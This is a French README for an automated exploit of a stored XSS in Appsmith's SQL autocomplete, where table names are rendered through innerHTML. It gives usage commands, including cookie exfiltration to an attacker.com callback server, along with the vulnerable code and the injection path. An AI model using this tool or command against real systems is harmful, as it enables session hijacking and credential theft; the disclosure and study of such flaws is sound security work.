
Automatisation de l'exploitation de CVE-2026-7299 - Stored XSS via les noms de tables/colonnes de base de données dans l'autocomplétion SQL au sein d'Appsmith =>1.99. Découverte initiale le 30/03/26
Exploit automatisé pour une vulnérabilité de cross-site scripting stockée dans l'éditeur de requêtes SQL d'Appsmith. Un développeur d'espace de travail peut injecter du JavaScript arbitraire via les noms de tables de base de données, qui s'exécute dans le navigateur de tout autre membre de l'espace de travail lorsque l'autocomplétion SQL se déclenche.
Confirmé sur Appsmith v1.98 et susceptible d'affecter toutes les versions antérieures où le rendu personnalisé des indices SQL est présent. La vulnérabilité se trouve dans hintHelpers.ts:165 où le rendu par défaut sécurisé de CodeMirror (textContent) est remplacé par un rappel render personnalisé qui utilise innerHTML pour afficher les noms de tables et de colonnes de la base de données sans aucune désinfection.
PoC d'alerte de base :
python3 exploit.py --url http://target:4444 --email [email protected] --password Password1!
Exfiltration de cookies vers un serveur de rappel :
python3 exploit.py --url http://target:4444 --email [email protected] --password Password1! \
--callback-url http://attacker.com:8888
Charge utile personnalisée :
python3 exploit.py --url http://target:4444 --email [email protected] --password Password1! \
--custom-payload ''
Si aucune source de données PostgreSQL n'existe encore, le script découvre automatiquement les connexions ou vous pouvez fournir des identifiants :
python3 exploit.py --url http://target:4444 --email [email protected] --password Password1! \
--db-host postgres --db-name testdb --db-user postgres --db-pass postgres

Appsmith est une plateforme low-code open-source où les équipes construisent des outils internes en connectant des sources de données et en écrivant des requêtes. L'éditeur de requêtes SQL fournit des suggestions d'autocomplétion provenant des métadonnées des tables et colonnes de la base de données connectée.
Le rendu d'autocomplétion dans hintHelpers.ts utilise un rappel render personnalisé de CodeMirror :
completion.render = (LiElement, _data, { className, text }) => {
const { hintType, iconBgType, iconText } = getHintDetailsFromClassName(text, className);
LiElement.setAttribute("hinttype", hintType);
LiElement.setAttribute("icontext", iconText);
LiElement.classList.add("cm-sql-hint");
LiElement.classList.add(`cm-sql-hint-${iconBgType}`);
LiElement.innerHTML = text; // <-- nom de table/colonne non désinfecté
};
Le rendu d'indice par défaut de CodeMirror 5 utilise textContent (sûr). Appsmith le remplace par innerHTML pour ajouter des classes CSS personnalisées et des attributs d'icône pour le style, mais le contenu textuel réel (le nom de la table) est assigné en HTML brut. Aucune désinfection n'existe à aucun moment dans le flux de données en 8 étapes du catalogue de la base de données au rendu DOM.
L'intégralité de l'attaque est effectuée via l'interface web d'Appsmith.
L'attaquant (un développeur d'espace de travail) exécute une instruction CREATE TABLE avec une charge utile XSS comme nom de table. Le PostgresPlugin d'Appsmith n'effectue aucun filtrage DDL, statement.execute(query) accepte toute requête SQL valide, y compris DDL.
CREATE TABLE "" (id serial primary key);
Tout autre membre de l'espace de travail ouvre l'éditeur de requêtes SQL pour la même source de données et commence à taper une requête. Le menu déroulant d'autocomplétion apparaît avec des suggestions de noms de tables récupérées depuis les métadonnées de la base de données. Le nom de table malveillant est rendu via innerHTML, exécutant la charge utile JavaScript dans la session du navigateur de la victime.
Le XSS s'exécute dans le contexte de l'application Appsmith avec la session de la victime. Un attaquant peut voler les cookies de session (XSRF-TOKEN, SESSION), exfiltrer les identifiants de la source de données, ou effectuer des appels API en tant que victime. Si la victime est un administrateur, l'attaquant escalade vers un contrôle complet de l'espace de travail.
PostgreSQL pg_catalog (table_name, column_name)
-> PostgresPlugin.getStructure() [aucune désinfection]
-> DatasourceStructure Java POJO [aucune désinfection]
-> REST API /api/v1/datasources/{id}/structure [aucune désinfection]
-> Redux state.entities.datasources [aucune désinfection]
-> getAllDatasourceTableKeys selector [aucune désinfection]
-> SqlHintHelper.setDatasourceTableKeys() [aucune désinfection]
-> CodeMirror hint.sql() completions [aucune désinfection]
-> LiElement.innerHTML = text [XSS]
Aucune désinfection présente, rendant la charge utile vers innerHTML se déclenchant dans le DOM une fois appelée par le rendu d'autocomplétion.
app/client/src/components/editorComponents/CodeEditor/hintHelpers.ts:165Cet outil est fourni à des fins de tests de sécurité autorisés et à des fins éducatives uniquement. Utilisez-le uniquement contre des systèmes dont vous êtes propriétaire ou pour lesquels vous avez une autorisation écrite explicite de tester. Je n'assume aucune responsabilité en cas d'utilisation abusive ou de dommages causés par cet outil.
Bon hacking !